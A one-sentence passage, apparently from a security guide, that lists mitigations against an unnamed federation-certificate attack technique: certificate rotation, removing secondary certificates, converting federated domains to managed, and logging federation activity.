The effectiveness of this technique is significantly reduced through regular certificate rotation, elimination of secondary certificates, conversion of federated domains to Managed (cloud-only), and enhanced logging of all federation-related activities.